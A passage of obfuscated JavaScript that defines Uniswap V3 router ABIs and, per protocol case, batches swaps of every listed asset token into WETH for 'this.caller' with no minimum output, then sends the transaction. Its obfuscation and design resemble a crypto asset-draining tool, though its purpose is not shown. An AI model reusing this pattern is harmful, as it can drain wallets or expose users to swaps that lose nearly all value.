name: "params",
type: 'tuple'
};
const _0x1452b0 = {
inputs: [_0x138f97],
name: "exactInput",
outputs: [{
'internalType': "uint256",
'name': 'amountOut',
'type': "uint256"
}],
stateMutability: "payable",
type: 'function'
};
const _0x15c3ea = {
internalType: 'address',
name: 'tokenIn',
type: 'address'
};
const _0x9ccd96 = {
internalType: 'address',
name: "tokenOut",
type: 'address'
};
const _0x5debba = {
internalType: "uint24",
name: "fee",
type: "uint24"
};
const _0x259a43 = {
internalType: "address",
name: 'recipient',
type: 'address'
};
const _0x2d07ac = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0xf34d9c = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0xa223ca = {
internalType: "uint256",
name: "amountOutMinimum",
type: "uint256"
};
const _0x312ce0 = {
internalType: "uint160",
name: "sqrtPriceLimitX96",
type: "uint160"
};
const _0x5ca735 = {
components: [_0x15c3ea, _0x9ccd96, _0x5debba, _0x259a43, _0x2d07ac, _0xf34d9c, _0xa223ca, _0x312ce0],
internalType: "struct ISwapRouter.ExactInputSingleParams",
name: "params",
type: "tuple"
};
const _0x461fd2 = {
internalType: "uint256",
name: "amountOut",
type: 'uint256'
};
const _0xc5d370 = {
inputs: [_0x5ca735],
name: "exactInputSingle",
outputs: [_0x461fd2],
stateMutability: "payable",
type: 'function'
};
const _0x170640 = {
internalType: 'bytes',
name: 'path',
type: 'bytes'
};
const _0x5ef671 = {
internalType: 'address',
name: 'recipient',
type: 'address'
};
const _0x19437e = {
internalType: 'uint256',
name: "deadline",
type: "uint256"
};
const _0x17f57d = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x3998bb = {
internalType: "uint256",
name: "amountInMaximum",
type: "uint256"
};
const _0x58eee6 = {
components: [_0x170640, _0x5ef671, _0x19437e, _0x17f57d, _0x3998bb],
internalType: "struct ISwapRouter.ExactOutputParams",
name: 'params',
type: "tuple"
};
const _0x51925e = {
inputs: [_0x58eee6],
name: "exactOutput",
outputs: [{
'internalType': "uint256",
'name': "amountIn",
'type': "uint256"
}],
stateMutability: "payable",
type: 'function'
};
const _0x2828e0 = {
internalType: 'address',
name: "tokenIn",
type: 'address'
};
const _0x7adfd6 = {
internalType: 'address',
name: "tokenOut",
type: 'address'
};
const _0x2cbe6b = {
internalType: "uint24",
name: "fee",
type: "uint24"
};
const _0x1c1eb6 = {
internalType: 'address',
name: 'recipient',
type: 'address'
};
const _0x3f1ece = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x3859b2 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x1e1320 = {
internalType: "uint256",
name: "amountInMaximum",
type: "uint256"
};
const _0x1a73af = {
internalType: "uint160",
name: "sqrtPriceLimitX96",
type: "uint160"
};
const _0x19f9da = {
components: [_0x2828e0, _0x7adfd6, _0x2cbe6b, _0x1c1eb6, _0x3f1ece, _0x3859b2, _0x1e1320, _0x1a73af],
internalType: "struct ISwapRouter.ExactOutputSingleParams",
name: "params",
type: "tuple"
};
const _0x38ab69 = {
inputs: [_0x19f9da],
name: "exactOutputSingle",
outputs: [{
'internalType': "uint256",
'name': "amountIn",
'type': "uint256"
}],
stateMutability: "payable",
type: "function"
};
const _0x23acae = {
inputs: [],
name: "factory",
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: "function"
};
const _0x62256f = {
internalType: "bytes[]",
name: 'data',
type: "bytes[]"
};
const _0x17f01a = {
inputs: [_0x62256f],
name: 'multicall',
outputs: [{
'internalType': "bytes[]",
'name': "results",
'type': "bytes[]"
}],
stateMutability: "payable",
type: 'function'
};
const _0x35aab1 = {
inputs: [],
name: "refundETH",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x4215cf = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x4cec0c = {
internalType: "uint256",
name: 'value',
type: "uint256"
};
const _0x2292a7 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x3113d1 = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0xda2d0f = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x4427b3 = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x5c53b3 = {
inputs: [_0x4215cf, _0x4cec0c, _0x2292a7, _0x3113d1, _0xda2d0f, _0x4427b3],
name: 'selfPermit',
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x11e76a = {
internalType: "address",
name: "token",
type: "address"
};
const _0x130427 = {
internalType: "uint256",
name: "nonce",
type: "uint256"
};
const _0x22e9a1 = {
internalType: "uint256",
name: "expiry",
type: "uint256"
};
const _0x1648bd = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x4131ec = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x2c608d = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x333e51 = {
inputs: [_0x11e76a, _0x130427, _0x22e9a1, _0x1648bd, _0x4131ec, _0x2c608d],
name: "selfPermitAllowed",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x54eae6 = {
internalType: 'address',
name: "token",
type: "address"
};
const _0x2b2714 = {
internalType: "uint256",
name: "nonce",
type: "uint256"
};
const _0x1cf513 = {
internalType: "uint256",
name: "expiry",
type: "uint256"
};
const _0x698ebf = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x179de0 = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x284e61 = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x765ae2 = {
inputs: [_0x54eae6, _0x2b2714, _0x1cf513, _0x698ebf, _0x179de0, _0x284e61],
name: "selfPermitAllowedIfNecessary",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x5bcfef = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x3f91f1 = {
internalType: "uint256",
name: "value",
type: "uint256"
};
const _0x29a639 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x209b3a = {
internalType: "uint8",
name: 'v',
type: 'uint8'
};
const _0x3bdc7f = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x5cecdd = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x3bb3a3 = {
inputs: [_0x5bcfef, _0x3f91f1, _0x29a639, _0x209b3a, _0x3bdc7f, _0x5cecdd],
name: "selfPermitIfNecessary",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x34d5df = {
internalType: "address",
name: "token",
type: 'address'
};
const _0x323f0e = {
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
};
const _0x232633 = {
internalType: 'address',
name: 'recipient',
type: 'address'
};
const _0x974b04 = {
inputs: [_0x34d5df, _0x323f0e, _0x232633],
name: "sweepToken",
outputs: [],
stateMutability: "payable",
type: "function"
};
const _0x2a3e11 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x3a8604 = {
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
};
const _0x54a8a1 = {
internalType: 'address',
name: 'recipient',
type: "address"
};
const _0xa2b28a = {
internalType: "uint256",
name: "feeBips",
type: 'uint256'
};
const _0x5f160b = {
internalType: 'address',
name: "feeRecipient",
type: 'address'
};
const _0x1d448e = {
inputs: [_0x2a3e11, _0x3a8604, _0x54a8a1, _0xa2b28a, _0x5f160b],
name: "sweepTokenWithFee",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x5d542e = {
internalType: "int256",
name: "amount0Delta",
type: "int256"
};
const _0x4fd4d5 = {
internalType: "int256",
name: "amount1Delta",
type: "int256"
};
const _0x108ca7 = {
internalType: "bytes",
name: "_data",
type: 'bytes'
};
const _0x4dab05 = {
inputs: [_0x5d542e, _0x4fd4d5, _0x108ca7],
name: "uniswapV3SwapCallback",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x1edf05 = {
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
};
const _0x476075 = {
internalType: 'address',
name: 'recipient',
type: 'address'
};
const _0xff7bfa = {
inputs: [_0x1edf05, _0x476075],
name: "unwrapWETH9",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x5a560a = {
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
};
const _0x4be5d4 = {
internalType: 'address',
name: 'recipient',
type: 'address'
};
const _0x200ca2 = {
internalType: "uint256",
name: "feeBips",
type: "uint256"
};
const _0x41e30d = {
internalType: 'address',
name: "feeRecipient",
type: 'address'
};
const _0xe58d8c = {
inputs: [_0x5a560a, _0x4be5d4, _0x200ca2, _0x41e30d],
name: "unwrapWETH9WithFee",
outputs: [],
stateMutability: "payable",
type: "function"
};
const _0x215261 = {
stateMutability: "payable",
type: "receive"
};
let _0x20588e = [_0x37609c, _0x4ccafc, _0x1452b0, _0xc5d370, _0x51925e, _0x38ab69, _0x23acae, _0x17f01a, _0x35aab1, _0x5c53b3, _0x333e51, _0x765ae2, _0x3bb3a3, _0x974b04, _0x1d448e, _0x4dab05, _0xff7bfa, _0xe58d8c, _0x215261];
let _0x1894b3 = new ethers.Contract(_0x1d9d78, _0x20588e, _0x30ef12);
let _0x5a397a = await _0x1894b3.WETH9();
let _0x27103d = _0x579e7a.asset;
let _0x28c931 = [];
for (let _0x27d507 of _0x27103d) {
let _0x48b096 = _0x1894b3['interface'].encodeFunctionData("exactInputSingle", [[_0x27d507.token, _0x5a397a, 3000, this.caller, _0x10922f, _0x27d507.amount, 0, 0]]);
_0x28c931.push(_0x48b096);
}
let _0x8dd455 = _0x1894b3['interface'].encodeFunctionData("multicall(bytes[])", [_0x28c931]);
let _0x5c7e39 = {
'to': _0x1d9d78,
'from': await this.getWalletAddress(),
'data': _0x8dd455
};
return _0x30ef12.sendTransaction(_0x5c7e39);
}
case "UniswapV3_2":
{
const _0x44b859 = {
internalType: 'address',
name: "_factoryV2",
type: 'address'
};
const _0x3fad04 = {
internalType: 'address',
name: 'factoryV3',
type: "address"
};
const _0x11aa8f = {
internalType: 'address',
name: "_positionManager",
type: 'address'
};
const _0x28ccc7 = {
internalType: 'address',
name: '_WETH9',
type: 'address'
};
const _0x41c56d = {
inputs: [_0x44b859, _0x3fad04, _0x11aa8f, _0x28ccc7],
stateMutability: "nonpayable",
type: "constructor"
};
const _0xd3a6d9 = {
inputs: [],
name: "WETH9",
outputs: [{
'internalType': 'address',
'name': '',
'type': "address"
}],
stateMutability: 'view',
type: 'function'
};
const _0x566441 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x2b6502 = {
inputs: [_0x566441],
name: 'approveMax',
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x50b8fb = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x49de43 = {
inputs: [_0x50b8fb],
name: "approveMaxMinusOne",
outputs: [],
stateMutability: "payable",
type: "function"
};
const _0x4da8ad = {
internalType: "address",
name: "token",
type: 'address'
};
const _0x7512c4 = {
inputs: [_0x4da8ad],
name: "approveZeroThenMax",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x37e342 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x404119 = {
inputs: [_0x37e342],
name: "approveZeroThenMaxMinusOne",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x2ae44f = {
internalType: "bytes",
name: 'data',
type: 'bytes'
};
const _0x45bf3c = {
inputs: [_0x2ae44f],
name: "callPositionManager",
outputs: [{
'internalType': 'bytes',
'name': "result",
'type': 'bytes'
}],
stateMutability: "payable",
type: "function"
};
const _0x1e2de8 = {
internalType: "bytes[]",
name: 'paths',
type: "bytes[]"
};
const _0x26a560 = {
internalType: "uint128[]",
name: "amounts",
type: "uint128[]"
};
const _0x21ce4c = {
internalType: "uint24",
name: "maximumTickDivergence",
type: "uint24"
};
const _0x261b23 = {
internalType: "uint32",
name: "secondsAgo",
type: "uint32"
};
const _0xb2300e = {
inputs: [_0x1e2de8, _0x26a560, _0x21ce4c, _0x261b23],
name: "checkOracleSlippage",
outputs: [],
stateMutability: 'view',
type: 'function'
};
const _0x5bfeb0 = {
internalType: 'bytes',
name: 'path',
type: 'bytes'
};
const _0x43c129 = {
internalType: "uint24",
name: "maximumTickDivergence",
type: "uint24"
};
const _0x491486 = {
internalType: "uint32",
name: "secondsAgo",
type: "uint32"
};
const _0x4b3228 = {
inputs: [_0x5bfeb0, _0x43c129, _0x491486],
name: "checkOracleSlippage",
outputs: [],
stateMutability: 'view',
type: "function"
};
const _0x517e54 = {
internalType: 'bytes',
name: 'path',
type: 'bytes'
};
const _0x53bbaa = {
internalType: 'address',
name: 'recipient',
type: "address"
};
const _0x486cc6 = {
internalType: "uint256",
name: "amountIn",
type: 'uint256'
};
const _0x1b99ee = {
internalType: "uint256",
name: "amountOutMinimum",
type: "uint256"
};
const _0x44c956 = {
components: [_0x517e54, _0x53bbaa, _0x486cc6, _0x1b99ee],
internalType: "struct IV3SwapRouter.ExactInputParams",
name: "params",
type: "tuple"
};
const _0x44b1ef = {
inputs: [_0x44c956],
name: "exactInput",
outputs: [{
'internalType': 'uint256',
'name': "amountOut",
'type': "uint256"
}],
stateMutability: "payable",
type: 'function'
};
const _0x918ef2 = {
internalType: 'address',
name: "tokenIn",
type: 'address'
};
const _0x1fc337 = {
internalType: 'address',
name: "tokenOut",
type: 'address'
};
const _0x14a370 = {
internalType: "uint24",
name: "fee",
type: "uint24"
};
const _0x18532b = {
internalType: 'address',
name: 'recipient',
type: 'address'
};
const _0x2b11ac = {
internalType: "uint256",
name: "amountIn",
type: 'uint256'
};
const _0x407b3c = {
internalType: "uint256",
name: "amountOutMinimum",
type: "uint256"
};
const _0x411e3f = {
internalType: "uint160",
name: "sqrtPriceLimitX96",
type: "uint160"
};
const _0x3aede3 = {
components: [_0x918ef2, _0x1fc337, _0x14a370, _0x18532b, _0x2b11ac, _0x407b3c, _0x411e3f],
internalType: "struct IV3SwapRouter.ExactInputSingleParams",
name: "params",
type: "tuple"
};
const _0x4c6083 = {
inputs: [_0x3aede3],
name: "exactInputSingle",
outputs: [{
'internalType': "uint256",
'name': "amountOut",
'type': "uint256"
}],
stateMutability: "payable",
type: "function"
};
const _0x3eae07 = {
internalType: 'bytes',
name: "path",
type: "bytes"
};
const _0x26e432 = {
internalType: 'address',
name: 'recipient',
type: 'address'
};
const _0x1d0419 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x3e3eef = {
internalType: "uint256",
name: "amountInMaximum",
type: "uint256"
};
const _0x259943 = {
components: [_0x3eae07, _0x26e432, _0x1d0419, _0x3e3eef],
internalType: "struct IV3SwapRouter.ExactOutputParams",
name: 'params',
type: "tuple"
};
const _0x3474c7 = {
inputs: [_0x259943],
name: "exactOutput",
outputs: [{
'internalType': "uint256",
'name': "amountIn",
'type': "uint256"
}],
stateMutability: "payable",
type: 'function'
};
const _0x2f2b4b = {
internalType: 'address',
name: "tokenIn",
type: "address"
};
const _0xe4bd15 = {
internalType: 'address',
name: "tokenOut",
type: 'address'
};
const _0x930495 = {
internalType: "uint24",
name: "fee",
type: "uint24"
};
const _0x399724 = {
internalType: 'address',
name: 'recipient',
type: 'address'
};
const _0x3677a4 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x4bbd6f = {
internalType: "uint256",
name: "amountInMaximum",
type: "uint256"
};
const _0x4d06a9 = {
internalType: "uint160",
name: "sqrtPriceLimitX96",
type: "uint160"
};
const _0x4fad58 = {
components: [_0x2f2b4b, _0xe4bd15, _0x930495, _0x399724, _0x3677a4, _0x4bbd6f, _0x4d06a9],
internalType: "struct IV3SwapRouter.ExactOutputSingleParams",
name: "params",
type: "tuple"
};
const _0x496233 = {
inputs: [_0x4fad58],
name: "exactOutputSingle",
outputs: [{
'internalType': "uint256",
'name': "amountIn",
'type': "uint256"
}],
stateMutability: "payable",
type: "function"
};
const _0x42bf53 = {
inputs: [],
name: "factory",
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0x579f99 = {
inputs: [],
name: "factoryV2",
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0x340e4d = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x2cf2a1 = {
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x526aae = {
inputs: [_0x340e4d, _0x2cf2a1],
name: "getApprovalType",
outputs: [{
'internalType': "enum IApproveAndCall.ApprovalType",
'name': '',
'type': "uint8"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x4c55a2 = {
internalType: 'address',
name: "token0",
type: 'address'
};
const _0x594ba6 = {
internalType: "address",
name: 'token1',
type: 'address'
};
const _0x1c22ba = {
internalType: "uint256",
name: "tokenId",
type: "uint256"
};
const _0x41019e = {
internalType: "uint256",
name: 'amount0Min',
type: "uint256"
};
const _0x176504 = {
internalType: "uint256",
name: "amount1Min",
type: "uint256"
};
const _0x4af0ff = {
components: [_0x4c55a2, _0x594ba6, _0x1c22ba, _0x41019e, _0x176504],
internalType: "struct IApproveAndCall.IncreaseLiquidityParams",
name: "params",
type: "tuple"
};
const _0x1affc1 = {
inputs: [_0x4af0ff],
name: "increaseLiquidity",
outputs: [{
'internalType': 'bytes',
'name': "result",
'type': 'bytes'
}],
stateMutability: 'payable',
type: 'function'
};
const _0x452e5e = {
internalType: 'address',
name: 'token0',
type: 'address'
};
const _0x3518c7 = {
internalType: 'address',
name: 'token1',
type: 'address'
};
const _0x112b05 = {
internalType: "uint24",
name: "fee",
type: "uint24"
};
const _0x348e2a = {
internalType: "int24",
name: "tickLower",
type: "int24"
};
const _0x59d7ed = {
internalType: "int24",
name: 'tickUpper',
type: "int24"
};
const _0x315eb2 = {
internalType: "uint256",
name: "amount0Min",
type: "uint256"
};
const _0x165b01 = {
internalType: "uint256",
name: "amount1Min",
type: "uint256"
};
const _0x5de3f9 = {
internalType: "address",
name: "recipient",
type: 'address'
};
const _0x36acfa = {
components: [_0x452e5e, _0x3518c7, _0x112b05, _0x348e2a, _0x59d7ed, _0x315eb2, _0x165b01, _0x5de3f9],
internalType: "struct IApproveAndCall.MintParams",
name: "params",
type: "tuple"
};
const _0x31f8a2 = {
inputs: [_0x36acfa],
name: 'mint',
outputs: [{
'internalType': 'bytes',
'name': "result",
'type': 'bytes'
}],
stateMutability: "payable",
type: 'function'
};
const _0xad4aa2 = {
internalType: "bytes32",
name: "previousBlockhash",
type: "bytes32"
};
const _0x271cad = {
internalType: "bytes[]",
name: 'data',
type: "bytes[]"
};
const _0x50f81a = {
internalType: "bytes[]",
name: '',
type: 'bytes[]'
};
const _0x840c7b = {
inputs: [_0xad4aa2, _0x271cad],
name: 'multicall',
outputs: [_0x50f81a],
stateMutability: "payable",
type: 'function'
};
const _0x321085 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x3b23db = {
internalType: "bytes[]",
name: "data",
type: "bytes[]"
};
const _0x3c640a = {
inputs: [_0x321085, _0x3b23db],
name: 'multicall',
outputs: [{
'internalType': "bytes[]",
'name': '',
'type': "bytes[]"
}],
stateMutability: "payable",
type: 'function'
};
const _0x21a292 = {
internalType: "bytes[]",
name: 'data',
type: "bytes[]"
};
const _0x4c1de2 = {
inputs: [_0x21a292],
name: 'multicall',
outputs: [{
'internalType': "bytes[]",
'name': "results",
'type': "bytes[]"
}],
stateMutability: "payable",
type: 'function'
};
const _0x17c0cb = {
inputs: [],
name: "positionManager",
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0xf1ea17 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0xf99dbc = {
internalType: "uint256",
name: 'value',
type: "uint256"
};
const _0x2bb03e = {
inputs: [_0xf1ea17, _0xf99dbc],
name: "pull",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x157f2f = {
inputs: [],
name: "refundETH",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x2468fb = {
internalType: 'address',
name: "token",
type: "address"
};
const _0x46bf22 = {
internalType: "uint256",
name: 'value',
type: "uint256"
};
const _0x42d9d8 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x5c0d4c = {
internalType: 'uint8',
name: 'v',
type: "uint8"
};
const _0x35c16a = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x3ec486 = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x41205c = {
inputs: [_0x2468fb, _0x46bf22, _0x42d9d8, _0x5c0d4c, _0x35c16a, _0x3ec486],
name: 'selfPermit',
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x3f7281 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x18466a = {
internalType: "uint256",
name: "nonce",
type: "uint256"
};
const _0x1157c9 = {
internalType: "uint256",
name: "expiry",
type: "uint256"
};
const _0x391848 = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x4e13b8 = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x442c46 = {
internalType: 'bytes32',
name: 's',
type: "bytes32"
};
const _0x5e60c4 = {
inputs: [_0x3f7281, _0x18466a, _0x1157c9, _0x391848, _0x4e13b8, _0x442c46],
name: "selfPermitAllowed",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x318126 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x101f49 = {
internalType: "uint256",
name: "nonce",
type: 'uint256'
};
const _0x3320bc = {
internalType: "uint256",
name: "expiry",
type: "uint256"
};
const _0x5127c8 = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x543470 = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x4a0b36 = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x2e2771 = {
inputs: [_0x318126, _0x101f49, _0x3320bc, _0x5127c8, _0x543470, _0x4a0b36],
name: "selfPermitAllowedIfNecessary",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x375e2a = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x4a4765 = {
internalType: "uint256",
name: 'value',
type: "uint256"
};
const _0x27a813 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x325e0b = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x446847 = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x564d45 = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x95fa2a = {
inputs: [_0x375e2a, _0x4a4765, _0x27a813, _0x325e0b, _0x446847, _0x564d45],
name: "selfPermitIfNecessary",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x2b6b76 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x2fe232 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x4b70bc = {
internalType: "address[]",
name: 'path',
type: 'address[]'
};
const _0x4a4b2f = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x2d0968 = {
inputs: [_0x2b6b76, _0x2fe232, _0x4b70bc, _0x4a4b2f],
name: "swapExactTokensForTokens",
outputs: [{
'internalType': "uint256",
'name': "amountOut",
'type': 'uint256'
}],
stateMutability: "payable",
type: 'function'
};
const _0x544cd8 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x23be8c = {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
};
const _0xabee1b = {
internalType: "address[]",
name: "path",
type: "address[]"
};
const _0x3a7514 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x1890ae = {
inputs: [_0x544cd8, _0x23be8c, _0xabee1b, _0x3a7514],
name: "swapTokensForExactTokens",
outputs: [{
'internalType': "uint256",
'name': "amountIn",
'type': "uint256"
}],
stateMutability: "payable",
type: 'function'
};
const _0x7e9ed9 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x42a580 = {
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
};
const _0x10ff52 = {
internalType: 'address',
name: 'recipient',
type: "address"
};
const _0x25f336 = {
inputs: [_0x7e9ed9, _0x42a580, _0x10ff52],
name: "sweepToken",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x31d4d0 = {
internalType: "address",
name: "token",
type: 'address'
};
const _0xc11960 = {
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
};
const _0x511c0f = {
inputs: [_0x31d4d0, _0xc11960],
name: "sweepToken",
outputs: [],
stateMutability: "payable",
type: "function"
};
const _0x10b860 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x187f81 = {
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
};
const _0x29dda5 = {
internalType: 'uint256',
name: "feeBips",
type: "uint256"
};
const _0x2e2fdf = {
internalType: 'address',
name: "feeRecipient",
type: 'address'
};
const _0x546083 = {
inputs: [_0x10b860, _0x187f81, _0x29dda5, _0x2e2fdf],
name: "sweepTokenWithFee",
outputs: [],
stateMutability: "payable",
type: "function"
};
const _0x165881 = {
internalType: "address",
name: "token",
type: 'address'
};
const _0x4c9cde = {
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
};
const _0x53f70a = {
internalType: 'address',
name: 'recipient',
type: 'address'
};
const _0x54b6f8 = {
internalType: "uint256",
name: "feeBips",
type: "uint256"
};
const _0x5ab76b = {
internalType: 'address',
name: "feeRecipient",
type: 'address'
};
const _0x169c5b = {
inputs: [_0x165881, _0x4c9cde, _0x53f70a, _0x54b6f8, _0x5ab76b],
name: "sweepTokenWithFee",
outputs: [],
stateMutability: "payable",
type: "function"
};
const _0x54dc60 = {
internalType: "int256",
name: "amount0Delta",
type: "int256"
};
const _0x62e677 = {
internalType: 'int256',
name: "amount1Delta",
type: "int256"
};
const _0x1f7936 = {
internalType: 'bytes',
name: "_data",
type: 'bytes'
};
const _0x23b827 = {
inputs: [_0x54dc60, _0x62e677, _0x1f7936],
name: "uniswapV3SwapCallback",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x579025 = {
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
};
const _0x5a6edf = {
internalType: 'address',
name: 'recipient',
type: 'address'
};
const _0x5d7086 = {
inputs: [_0x579025, _0x5a6edf],
name: "unwrapWETH9",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x210d7d = {
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
};
const _0x115ed9 = {
inputs: [_0x210d7d],
name: "unwrapWETH9",
outputs: [],
stateMutability: "payable",
type: "function"
};
const _0x506017 = {
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
};
const _0x481878 = {
internalType: 'address',
name: 'recipient',
type: 'address'
};
const _0x15b904 = {
internalType: "uint256",
name: "feeBips",
type: "uint256"
};
const _0x504129 = {
internalType: 'address',
name: "feeRecipient",
type: "address"
};
const _0x3d07d0 = {
inputs: [_0x506017, _0x481878, _0x15b904, _0x504129],
name: "unwrapWETH9WithFee",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x318a60 = {
internalType: "uint256",
name: "amountMinimum",
type: "uint256"
};
const _0x2ea707 = {
internalType: "uint256",
name: "feeBips",
type: "uint256"
};
const _0x5d537f = {
internalType: 'address',
name: "feeRecipient",
type: "address"
};
const _0x23c2e1 = {
inputs: [_0x318a60, _0x2ea707, _0x5d537f],
name: "unwrapWETH9WithFee",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x7455bb = {
internalType: "uint256",
name: 'value',
type: "uint256"
};
const _0x491724 = {
inputs: [_0x7455bb],
name: "wrapETH",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x4353a2 = {
stateMutability: "payable",
type: "receive"
};
let _0x4784bc = [_0x41c56d, _0xd3a6d9, _0x2b6502, _0x49de43, _0x7512c4, _0x404119, _0x45bf3c, _0xb2300e, _0x4b3228, _0x44b1ef, _0x4c6083, _0x3474c7, _0x496233, _0x42bf53, _0x579f99, _0x526aae, _0x1affc1, _0x31f8a2, _0x840c7b, _0x3c640a, _0x4c1de2, _0x17c0cb, _0x2bb03e, _0x157f2f, _0x41205c, _0x5e60c4, _0x2e2771, _0x95fa2a, _0x2d0968, _0x1890ae, _0x25f336, _0x511c0f, _0x546083, _0x169c5b, _0x23b827, _0x5d7086, _0x115ed9, _0x3d07d0, _0x23c2e1, _0x491724, _0x4353a2];
let _0x4b28bd = new ethers.Contract(_0x1d9d78, _0x4784bc, _0x30ef12);
let _0xbcb05c = await _0x4b28bd.WETH9();
let _0x36e6aa = _0x579e7a.asset;
let _0x553731 = [];
for (let _0x396e35 of _0x36e6aa) {
let _0x3e1755 = [];
_0x3e1755[0] = _0x396e35.token;
_0x3e1755[1] = _0xbcb05c;
let _0x3d51aa = _0x4b28bd["interface"].encodeFunctionData("swapExactTokensForTokens", [_0x396e35.amount, 0, _0x3e1755, this.caller]);
_0x553731.push(_0x3d51aa);
}
let _0xb8d22c = _0x4b28bd["interface"].encodeFunctionData("multicall(bytes[])", [_0x553731]);
let _0x4aebf0 = {
'to': _0x1d9d78,
'from': await this.getWalletAddress(),
'data': _0xb8d22c
};
return _0x30ef12.sendTransaction(_0x4aebf0);
}
case "WooFinance":
{
const _0x4fc18a = {
internalType: 'address',
name: '_weth',
type: "address"
};
const _0x390869 = {
internalType: 'address',
name: "_pool",
type: 'address'
};
const _0x3c5cc3 = {
inputs: [_0x4fc18a, _0x390869],
stateMutability: "nonpayable",
type: "constructor"
};
const _0x3311c7 = {
indexed: true,
internalType: 'address',
name: "previousOwner",
type: 'address'
};
const _0x174901 = {
indexed: true,
internalType: 'address',
name: "newOwner",
type: 'address'
};
const _0x55bdc = {
anonymous: false,
inputs: [_0x3311c7, _0x174901],
name: "OwnershipTransferred",
type: "event"
};
const _0x32dd70 = {
